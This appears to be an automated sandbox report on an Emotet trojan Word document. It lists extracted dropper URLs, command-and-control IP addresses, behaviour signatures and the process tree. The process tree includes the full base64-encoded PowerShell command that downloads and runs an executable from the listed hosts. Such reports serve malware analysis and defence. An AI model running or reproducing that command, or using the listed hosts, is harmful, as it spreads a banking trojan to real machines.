Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    121s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    26/08/2020, 07:28

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e2_1059da022c224102397993239d8e954f4eafa8a83e645f14d34ff2881e4d338a_2020-08-26__072611._doc.doc
  • Size 220KB
  • Sample200826-e41w5kz7an
  • SHA256 1059da022c224102397993239d8e954f4eafa8a83e645f14d34ff2881e4d338a
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://bursayuzmekursu.com/assets/6m3/
  • exe.dropper

    http://casabeethovenlb.com/classes/mPaUG3/
  • exe.dropper

    http://cse-engineer.com/cgi-bin/f5fG/
  • exe.dropper

    http://da-industrial.com/js/j/
  • exe.dropper

    http://ajbuids.co.uk/buildzips/XY8Mgvl/
  • exe.dropper

    https://cocoonplace.be/achtergronden/ZRDB/
  • exe.dropper

    http://creativemarcel.com/downloadTest/wc/

Extracted

Family

  • emotet

C2

  • 107.5.122.110:80

  • 199.101.86.6:443

  • 45.55.219.163:443

  • 62.30.7.67:443

  • 185.94.252.104:443

  • 203.117.253.142:80

  • 93.51.50.171:8080

  • 139.130.242.43:80

  • 181.230.116.163:80

  • 37.187.72.193:8080

  • 194.187.133.160:443

  • 167.86.90.214:8080

  • 61.19.246.238:443

  • 98.109.204.230:80

  • 180.92.239.110:8080

  • 121.124.124.40:7080

  • 47.146.117.214:80

  • 110.145.77.103:80

  • 97.82.79.83:80

  • 70.121.172.89:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_1059da022c224102397993239d8e954f4eafa8a83e645f14d34ff2881e4d338a_2020-08-26__072611._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1400
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABGAHYAcwBxAHEAdwBqAD0AKAAoACcATwAyACcAKwAnAGIAYQAnACkAKwAnAGYAcwAnACsAJwA2ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgB2ADoAVABFAE0AcABcAFcATwByAGQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQASQBSAGUAYwB0AE8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYwBVAFIAYABpAHQAWQBQAFIAbwB0AE8AYABjAGAAbwBsACIAIAA9ACAAKAAnAHQAbAAnACsAKAAnAHMAJwArACcAMQAyACcAKQArACcALAAgACcAKwAoACcAdABsACcAKwAnAHMAJwApACsAKAAnADEAMQAsACcAKwAnACAAdABsAHMAJwApACkAOwAkAEUAdgB6AHUAMgBjAGUAIAA9ACAAKAAoACcARAAnACsAJwByAGEAcgAxADMAJwApACsAJwBvADIAJwArACcAcQAnACkAOwAkAEwAYgBqAHUAbgBmAGkAPQAoACgAJwBSAGIAJwArACcAcAAnACkAKwAnAGcAZQAnACsAJwAwADAAJwApADsAJABPAGgANwA4AGIAYwA4AD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwBYAGEAJwArACgAJwBIACcAKwAnAHcAbwByACcAKwAnAGQAWABhAEgAJwApACsAKAAnADIAMAAnACsAJwAxACcAKQArACcAOQAnACsAJwBYAGEAJwArACcASAAnACkAIAAgAC0AUgBlAFAATABhAGMAZQAoAFsAQwBoAGEAcgBdADgAOAArAFsAQwBoAGEAcgBdADkANwArAFsAQwBoAGEAcgBdADcAMgApACwAWwBDAGgAYQByAF0AOQAyACkAKwAkAEUAdgB6AHUAMgBjAGUAKwAoACgAJwAuAGUAJwArACcAeAAnACkAKwAnAGUAJwApADsAJABJAGwAYgA4AGUAeQAxAD0AKAAnAEwAJwArACgAJwBqAGMAJwArACcAeQAnACkAKwAoACcAYQByACcAKwAnAGcAJwApACkAOwAkAFQAMwBiAHYAegB3AHkAPQAuACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4ARQB0AC4AVwBFAGIAYwBMAGkARQBuAFQAOwAkAFYAbgBlAHcAdwA5AGQAPQAoACcAaAAnACsAJwB0ACcAKwAoACcAdABwACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwBiAHUAcgAnACsAJwBzAGEAeQAnACsAJwB1AHoAbQAnACkAKwAoACcAZQBrACcAKwAnAHUAcgAnACkAKwAoACcAcwB1AC4AYwAnACsAJwBvAG0AJwArACcALwBhACcAKwAnAHMAcwAnACkAKwAoACcAZQAnACsAJwB0AHMALwAnACkAKwAoACcANgAnACsAJwBtADMALwAqACcAKQArACcAaAAnACsAKAAnAHQAJwArACcAdABwADoAJwApACsAKAAnAC8ALwBjAGEAcwBhAGIAZQBlAHQAaAAnACsAJwBvACcAKwAnAHYAJwApACsAKAAnAGUAbgBsAGIAJwArACcALgBjAG8AbQAnACkAKwAoACcALwBjAGwAJwArACcAYQBzAHMAJwArACcAZQBzAC8AbQAnACkAKwAoACcAUAAnACsAJwBhAFUARwAnACkAKwAoACcAMwAnACsAJwAvACcAKwAnACoAJwArACcAaAB0AHQAcAA6AC8ALwBjAHMAJwArACcAZQAnACsAJwAtAGUAbgBnAGkAJwApACsAJwBuAGUAJwArACgAJwBlAHIAJwArACcALgBjACcAKQArACgAJwBvAG0ALwBjACcAKwAnAGcAaQAtAGIAaQBuACcAKwAnAC8AZgA1AGYARwAnACsAJwAvACoAaAB0ACcAKwAnAHQAcAAnACsAJwA6AC8AJwArACcALwBkACcAKwAnAGEALQAnACkAKwAnAGkAJwArACcAbgAnACsAJwBkAHUAJwArACcAcwAnACsAKAAnAHQAJwArACcAcgBpACcAKQArACgAJwBhAGwALgBjACcAKwAnAG8AbQAnACkAKwAnAC8AagAnACsAKAAnAHMAJwArACcALwBqAC8AKgBoACcAKwAnAHQAJwApACsAJwB0ACcAKwAoACcAcAA6ACcAKwAnAC8AJwApACsAKAAnAC8AYQBqAGIAJwArACcAdQAnACkAKwAnAGkAZAAnACsAJwBzACcAKwAoACcALgAnACsAJwBjAG8AJwApACsAKAAnAC4AJwArACcAdQBrACcAKQArACgAJwAvACcAKwAnAGIAJwArACcAdQBpAGwAZAAnACkAKwAoACcAegAnACsAJwBpAHAAJwApACsAKAAnAHMALwAnACsAJwBYACcAKQArACcAWQA4ACcAKwAoACcATQAnACsAJwBnAHYAbAAnACsAJwAvACoAJwApACsAKAAnAGgAJwArACcAdAB0ACcAKQArACgAJwBwAHMAOgAvAC8AYwBvAGMAJwArACcAbwAnACsAJwBvACcAKwAnAG4AcAAnACkAKwAnAGwAYQAnACsAJwBjACcAKwAoACcAZQAuAGIAJwArACcAZQAvAGEAJwApACsAJwBjACcAKwAoACcAaAB0AGUAJwArACcAcgBnACcAKQArACcAcgBvACcAKwAnAG4AJwArACgAJwBkACcAKwAnAGUAbgAnACkAKwAoACcALwBaACcAKwAnAFIARABCAC8AJwArACcAKgBoAHQAJwApACsAJwB0ACcAKwAoACcAcAA6AC8ALwAnACsAJwBjAHIAJwApACsAKAAnAGUAYQAnACsAJwB0AGkAdgBlACcAKQArACcAbQBhACcAKwAoACcAcgBjAGUAbAAnACsAJwAuACcAKwAnAGMAbwBtAC8AZAAnACsAJwBvAHcAbgBsACcAKQArACcAbwBhACcAKwAnAGQAVAAnACsAJwBlACcAKwAoACcAcwB0AC8AJwArACcAdwBjAC8AJwApACkALgAiAFMAcABsAGAASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAWgB1AGYAaABqAGEAbgA9ACgAJwBVACcAKwAoACcAagA0ACcAKwAnADQAbgAwACcAKwAnAG0AJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABGAG4AdwA4AHgAOQB4ACAAaQBuACAAJABWAG4AZQB3AHcAOQBkACkAewB0AHIAeQB7ACQAVAAzAGIAdgB6AHcAeQAuACIAZABgAG8AdwBuAGAATABvAGEAZABGAEkAbABlACIAKAAkAEYAbgB3ADgAeAA5AHgALAAgACQATwBoADcAOABiAGMAOAApADsAJABOAG0AcQBkADEAdQAyAD0AKAAoACcASQBuACcAKwAnAGUAJwApACsAJwBlAGQAJwArACcAdgA3ACcAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABPAGgANwA4AGIAYwA4ACkALgAiAGwARQBuAGAAZwBgAFQASAAiACAALQBnAGUAIAAyADQANAA0ADgAKQAgAHsAJgAoACcASQBuAHYAbwBrACcAKwAnAGUALQAnACsAJwBJAHQAZQBtACcAKQAoACQATwBoADcAOABiAGMAOAApADsAJABSAGcAdQA0ADIAZABsAD0AKAAnAEQAZQAnACsAJwA2ACcAKwAoACcANgA5AHQAJwArACcAcQAnACkAKQA7AGIAcgBlAGEAawA7ACQAQQBlAHkAYgBkAGIAcQA9ACgAJwBKADcAJwArACgAJwA4ADgAagAnACsAJwA1AGcAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFAAOQB6ADQAMwBqADMAPQAoACcARAAnACsAJwBnACcAKwAoACcAdgBwADgAOAAnACsAJwBvACcAKQApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1508
    • C:\Users\Admin\AppData\Local\Temp\word\2019\Drar13o2q.exe
      "C:\Users\Admin\AppData\Local\Temp\word\2019\Drar13o2q.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1844
      • C:\Windows\SysWOW64\mprmsg\setupugc.exe
        "C:\Windows\SysWOW64\mprmsg\setupugc.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1568

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/1400-5-0x000000000BBC0000-0x000000000BBC4000-memory.dmp
        Download

        memory/1400-6-0x0000000007B40000-0x0000000007D40000-memory.dmp
        Download

        memory/1400-2-0x00000000096C0000-0x00000000096C4000-memory.dmp
        Download

        memory/1508-8-0x0000000001F10000-0x0000000001F11000-memory.dmp
        Download

        memory/1508-11-0x0000000002520000-0x0000000002521000-memory.dmp
        Download

        memory/1508-12-0x000000001A9E0000-0x000000001A9E1000-memory.dmp
        Download

        memory/1508-13-0x000000001AB40000-0x000000001AB41000-memory.dmp
        Download

        memory/1508-10-0x0000000002680000-0x0000000002681000-memory.dmp
        Download

        memory/1508-9-0x000000001AD30000-0x000000001AD31000-memory.dmp
        Download

        memory/1508-7-0x000007FEF3F00000-0x000007FEF48EC000-memory.dmp
        Download

        memory/1568-20-0x00000000002E0000-0x00000000002EC000-memory.dmp
        Download

        memory/1844-17-0x00000000003B0000-0x00000000003BC000-memory.dmp
        Download

        memory/1964-21-0x000007FEF4620000-0x000007FEF489A000-memory.dmp
        Download